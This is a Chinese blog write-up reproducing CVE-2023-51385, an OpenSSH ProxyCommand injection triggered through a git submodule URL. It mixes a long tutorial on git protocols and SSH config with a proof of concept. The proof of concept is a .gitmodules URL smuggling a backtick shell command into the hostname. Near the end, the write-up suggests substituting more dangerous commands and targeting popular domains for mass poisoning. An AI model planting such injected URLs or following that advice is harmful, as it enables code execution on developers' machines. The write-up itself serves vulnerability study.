CVE-2023-51385

CVE-2023-51385(ProxyCommand)

漏洞描述

OpenSSH 是 SSH (Secure SHell) 协议的免费开源实现。SSH 协议族可以用来进行远程控制, 或在计算机之间传送文件。而实现此功能的传统方式,如 telnet(终端仿真协议)、 rcp ftp、 rlogin、rsh 都是极为不安全的,并且会使用明文传送密码。OpenSSH 提供了服务端后台程序和客户端工具,用来加密远程控制和文件传输过程中的数据,并由此来代替原来的类似服务。近日,新华三盾山实验室监测到 OpenSSH 官方发布了安全公告,修复了一个存在于 OpenSSH 中的命令注入漏洞(CVE-2023-51385),攻击者可利用该漏洞注入恶意 Shell 字符导致命令注入。

此漏洞是由于 OpenSSH 中的 ProxyCommand 命令未对%h、%p 或类似的扩展标记进行正确的过滤,攻击者可通过这些值注入恶意 shell 字符进行 命令注入 攻击。

影响版本

  • OpenSSH < 9.6

环境配置

  • OpenSSH_8.9p1(必须符合利用范围)

  • Ubuntu 22.04(非必须)

  • 修改~/.ssh/config 如下

host *.example.com
  ProxyCommand /usr/bin/nc -X connect -x 192.0.2.0:8080 %h %p

漏洞复现

git clone https://github.com/zls1793/CVE-2023-51385_test --recurse-submodules
git clone git@github.com:zls1793/CVE-2023-51385_test.git --recurse-submodules

[! success]
在 clone 恶意文件后,会在目录下生成 cve.txt 文件,内容为 helloworld

[submodule "cve"]
        path = cve
        url = ssh://`echo helloworld > cve.txt`foo.example.com/bar

恶意文件内容如上

漏洞原理

Git 子模块

有种情况我们经常会遇到:某个工作中的项目需要包含并使用另一个项目。 也许是第三方库,或者你独立开发的,用于多个父项目的库。 现在问题来了:你想要把它们当做两个独立的项目,同时又想在一个项目中使用另一个。

Git 通过子模块来解决这个问题。 子模块允许你将一个 Git 仓库作为另一个 Git 仓库的子目录。 它能让你将另一个仓库克隆到自己的项目中,同时还保持提交的独立。

git clone git@github.com:zls1793/CVE-2023-51385_test.git --recurse-submodules

[! question]
–recurse-submodules 的作用是什么?

在这条命令中,--recurse-submodules 参数的作用是告诉 Git 在克隆主项目的同时递归地初始化并克隆所有子模块。通过使用–recurse-submodules 参数,Git 会自动初始化和更新这些子模块,使得在克隆主项目后可以立即开始使用这些子模块,而不需要手动单独初始化和更新子模块。

[! question]
.gitmodules 文件是什么?

.gitmodules 文件是 Git 用来管理子模块(submodule)的配置文件。一个子模块是指嵌套在另一个 Git 仓库中的一个独立的 Git 仓库。

.gitmodules 文件位于主项目的根目录下,它记录了主项目中所使用的子模块的相关信息,包括子模块的仓库 URL、路径、分支等。通过配置 .gitmodules 文件,你可以将子模块与主项目关联起来,并指定在克隆或更新主项目时如何初始化和更新子模块。

git submodule update --init

[! NOTE]
手动更新和初始化子模块

[! success]
可以看到在手动初始化和更新子模块后,漏洞利用成功

Git: submodule 子模块简明教程

Git 的四种协议

本地协议

其中的远程版本库就是硬盘内的另一个目录。

这常见于团队每一个成员都对一个共享的文件系统(例如一个挂载的 NFS)拥有访问权,或者比较少见的多人共用同一台电脑的情况。 后者并不理想,因为你的所有代码版本库如果长存于同一台电脑,更可能发生灾难性的损失。

git clone /opt/git/project.git
# 或者
$ git clone file:///opt/git/project.git
HTTP协议

Git 通过 HTTP 通信有两种模式。

在 Git 1.6.6 版本之前只有一个方式可用,十分简单并且通常是只读模式的。 Git 1.6.6 版本引入了一种新的、更智能的协议,让 Git 可以像通过 SSH 那样智能的协商和传输数据。 之后几年,这个新的 HTTP 协议因为其简单、智能变的十分流行。 新版本的 HTTP 协议一般被称为“智能” HTTP 协议,旧版本的一般被称为“哑” HTTP 协议。

git clone https://example.com/gitproject.git
SSH协议

架设 Git 服务器时常用 SSH 协议作为传输协议。 因为大多数环境下已经支持通过 SSH 访问 —— 即时没有也比较很容易架设。 SSH 协议也是一个验证授权的网络协议;并且,因为其普遍性,架设和使用都很容易。

通过 SSH 协议克隆版本库,你可以指定一个 ssh:// 的 URL:

git clone ssh://user@server/project.git

或者使用一个简短的 scp 式的写法:

git clone user@server:project.git

你也可以不指定用户,Git 会使用当前登录的用户名。

Git协议

这是包含在 Git 里的一个特殊的守护进程;它监听在一个特定的端口(9418),类似于 SSH 服务,但是访问无需任何授权。

要让版本库支持 Git 协议,需要先创建一个 git-daemon-export-ok 文件 —— 它是 Git 协议守护进程为这个版本库提供服务的必要条件 —— 但是除此之外没有任何安全措施。 要么谁都可以克隆这个版本库,要么谁也不能。

这意味着,通常不能通过 Git 协议推送。 由于没有授权机制,一旦你开放推送操作,意味着网络上知道这个项目 URL 的人都可以向项目推送数据。 不用说,极少会有人这么做。

git: 四种git协议 (本地协议、HTTP 协议、SSH协议、 Git 协议)

SSH配置项

SSH Config 文件地址

OpenSSH 的客户端配置文件名称为 config,位于用户家目录下的 .ssh 目录。 ~/.ssh 是在运行第一次 ssh 命令的时候自动创建的。如果不存在的话,可以手动创建一下:

mkdir -p ~/.ssh && chmod 700 ~/.ssh

默认情况下,config 配置可能不存在,所以同样可以自己手动创建一下:

touch ~/.ssh/config

该文件必须要是被用户可读可写的,但是不能被其他用户访问:

chmod 600 ~/.ssh/config
SSH Config 文件结构
Host hostname1
    SSH_OPTION value
    SSH_OPTION value

Host hostname2
    SSH_OPTION value

Host *
    SSH_OPTION value

config 的结构如上所示,是一块一块的。每一块使用 Host 指令开始,下面是针对其的一些特殊的设置。

缩进其实不是必须的,但是有缩进非常有助于查看。

Host 后面可以是一个或者多个需要匹配的内容(多个使用空格分隔) 可以采用下面这些特殊标识符:

  • * 匹配 0 或者任意个字符。比如 Host * 匹配所有的 Hosts,192.168.0.* 匹配 192.168.0.0/24 这个 subnet 下的 IP.
  • ? 匹配一个字符。如 10.10.0.? 匹配 10.10.0.[0-9]
  • ! 取反,即不匹配。比如 Host 10.10.0.* !10.10.0.5 匹配 10.10.0.0/24 subnet 但是 10.10.0.5 除外.

SSH 客户端是从上往下匹配的,因此如果有多个 Host 匹配命中,其中定义的配置参数第一个出现的生效,比如第一个匹配配置组里面有 User 配置,最后匹配到的配置组里面也有,那是第一个匹配到的 User 会被实际使用。所以建议将比较具体的匹配放在上方,通用的放在后面(比如针对某一个 ip 段的放在上面,针对所有的放在最后面)。


可以通过 man ssh_config 或者访问 ssh_config man page 查看有哪些 ssh 的配置项。 ssh 配置通用会被其他应用使用,比如 scp/sftp/rsync。


SSH 配置示例

如果在 config 里面没有任何特殊配置,我们一般会采用如下这个命令来连接我们的主机:

ssh john@dev.example.com -p 2322

那怎么简化我们的连接过程呢,可以在 config 文件里面写下如下配置:

Host dev
    HostName dev.example.com
    User john
    Port 2322

这样我们就可以通过输入 ssh dev 连接我们的主机了。

ssh dev
SSH 配置组合

下面介绍一个关于 Host 匹配和配置优先级更加详细的示例。

Host targaryen
    HostName 192.168.1.10
    User daenerys
    Port 7654
    IdentityFile ~/.ssh/targaryen.key

Host tyrell
    HostName 192.168.10.20

Host martell
    HostName 192.168.10.50

Host *ell
    user oberyn

Host * !martell
    LogLevel INFO

Host *
    User root
    Compression yes
  • 当我们使用 ssh targaryen 进行连接时。ssh 客户端从文件读取配置,使用第一个配置组的配置 Host targaryen。然后继续向下匹配。下一个匹配的配置组是 Host * !martell (所有的 hosts 但是 martell 除外),因此该配置组内的配置项通用会被使用。最后一个配置组 Host * 通用被匹配上,但是这里面只有 Compression 配置参数会被使用上。因为 User 这个参数在第一个配置组 Host targaryen 里面已经定义了(注意优先级)。 那对于我们使用 ssh targaryen 进行连接时实际使用到的配置如下:
HostName 192.168.1.10
User daenerys
Port 7654
IdentityFile ~/.ssh/targaryen.key
LogLevel INFO
Compression yes
  • 当使用 ssh tyrell 连接时,匹配到的配置组有:Host tyrell/Host *ell/Host * !martellHost *。实际进行连接的配置如下:
HostName 192.168.10.20
User oberyn
LogLevel INFO
Compression yes
  • 当使用 ssh martell, 匹配到的是: Host martell, Host *ellHost *。 实际进行连接的配置如下::
HostName 192.168.10.50
User oberyn
Compression yes
  • 对于其他所有的连接,ssh 客户端会使用到 Host * !martellHost * 配置组里面定义的配置。
覆盖 SSH 配置文件

ssh 客户端读取配置采用一下顺序:

  1. 命令行定义的配置
  2. 定义在 ~/.ssh/config 里的配置
  3. 定义在 /etc/ssh/ssh_config 的配置

如果想单独覆盖某一个配置项,可以在命令行里指定。比如在配置文件里面有如下配置:

Host dev
    HostName dev.example.com
    User john
    Port 2322

但是我们想在连接的时候使用 root 用户,那我们就可以加上 -o 进行指定:

ssh -o "User=root" dev

另外也可以使用 -F (configfile) 来单独指定一个配置文件。 如果在连接时想忽略任何配置文件里面定义的配置可以使用如下命令:

ssh -F /dev/null user@example.com

Jump Server Configuration

ProxyCommand

通过 ~/.ssh/config 中配置 ProxyCommand 选项来实现跳板效果。

Configuration File
ProxyCommand command
Description

ssh 客户端在连接服务器之前会先使用 command 作为 exec 的参数启动一个进程,接下来把本该发往 ssh 服务器的流量发往该进程的标准输入,并将该进程的标准输出视作 ssh 服务器回复的流量。简单的来说就是通过新启动的进程来连接服务器。

选项的 command 参数支持使用标记符号(TOKEN),支持的符号如下:

TOKENDescription
%h远程服务器地址或域名
%p远程服务器端口号
%r远程服务器用户名
%%字符 ‘%’

例如,设置 ProxyCommand nc %h %p 后, ssh user@1.2.3.4 -p 22334 会在连接远程服务器之前启动进程 nc 1.2.3.4 22334 ,再将 ssh 流量通过该进程的标准输入输出发送给远程服务器。在这个例子中 nc 并没有起到什么效果。但是通过设置不同的命令,可以通过该选项来实现跳板机机制。

Jump via ProxyCommand

假定跳板机的 ip 地址 1.2.3.4,端口为 12322,实际要连接的远程服务器为 10.0.0.1:23322。我们可以设置 ProxyCommand ssh -W %h:%p -p12322 user@1.2.3.4-W 参数的说明可以见上一篇文章。为方便使用,我们可以在 ~/.ssh/config 中添加跳板机配置:

Host jumpserver
    Hostname 1.2.3.4
    Port 12322
    User user

再添加跳板机后面的实际目标服务器:

Host target
    Hostname 10.0.0.1
    Port 23322
    User user
    ProxyCommand ssh -W %h:%p jumpserver

注意 target 配置中的 ProxyCommand 字段使用了前面定义的 jumpserver 来简化配置。接下来可以直接在命令行中执行 ssh target 来一键通过跳板机连接远程服务器。

若想用临时配置,不想修改 ~/.ssh/config 文件,可以执行以下命令来连接远程服务器:

ssh -o'ProxyCommand ssh -W %h:%p -p12322 user@1.2.3.4' -p23322 user@10.0.0.1
ProxyJump

上述方式实现跳板机仍然有些复杂,在较新版本的 openssh(>=7.3) 中可以使用 -J 命令行参数或者 ProxyJump 配置来实现跳板机机制。

CLI Options
ssh -J jump-host[[,jump-host]*]

可以使用逗号来分割多个跳板机,ssh 会顺次通过跳板机来访问远程目标。

Configuration File
ProxyJump jump-host[[,jump-host]*]

同样可以使用逗号来分割多个跳板机。

Jump via ProxyJump

通过该选项可以方便地配置跳板机,假设跳板机和目标的信息和前述例子中的一样。
~/.ssh/config 中添加跳板机配置:

Host jumpserver
    Hostname 1.2.3.4
    Port 12322
    User user

再添加目标服务器配置:

Host target
    Hostname 10.0.0.1
    Port 23322
    User user
    ProxyJump jumpserver

现在即可在命令行中执行 ssh target 连接目标服务器。

若想临时通过跳板机 jumpserver 连接某台新服务器 user@10.0.0.2:23333 ,可以通过在命令行中执行 ssh -J jumpserver -p23333 user@10.0.0.2 来连接。


漏洞利用点分析

  • ~/.ssh/config
host *.example.com
  ProxyCommand /usr/bin/nc -X connect -x 192.0.2.0:8080 %h %p
  • .gitmodules
[submodule "cve"]
        path = cve
        url = ssh://`echo helloworld > cve.txt`foo.example.com/bar

[!important]
通过上述分析和前置知识,我们知道:

  • config配置项对*.example.com域名使用proxycommand选项,跳板机为192.0.2.0:8080
  • 漏洞触发点在于初始化子模块,其中.gitmodules中的恶意payload触发

下面我们来分析整个过程

子模块初始化

在初始化子模块时,根据.gitmodules文件配置

git clone ssh://`echo helloworld > cve.txt`foo.example.com/bar

[!info]
初始化时等同执行这句命令

ProxyCommand触发
host *.example.com

由于主机SSH配置host如上,这会导致SSH将

echo helloworld > cve.txtfoo.example.com

当成一个HOST去传递,并进入ProxyCommand命令行环境

ProxyCommand /usr/bin/nc -X connect -x 192.0.2.0:8080 %h %p

其中的%h/%p代表主机名和端口

ProxyCommand /usr/bin/nc -X connect -x 192.0.2.0:8080 `echo helloworld > cve.txt`foo.example.com %p

ProxyCommand被污染,从而导致命令执行

[!info]
可以看到杂乱字符并不影响反引号中命令执行

[!note]
后续我们可以将命令更换成更有危险性的(如写入计划任务等),并可以将foo.example.com改为xxx.github.com等更加广泛使用的域名(只要是使用ProxyCommand方式连接github的,那么就有可能上钩)

[!important]
该漏洞更适用批量的投毒,而不是精准打击某一用户

修复建议

Update to

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值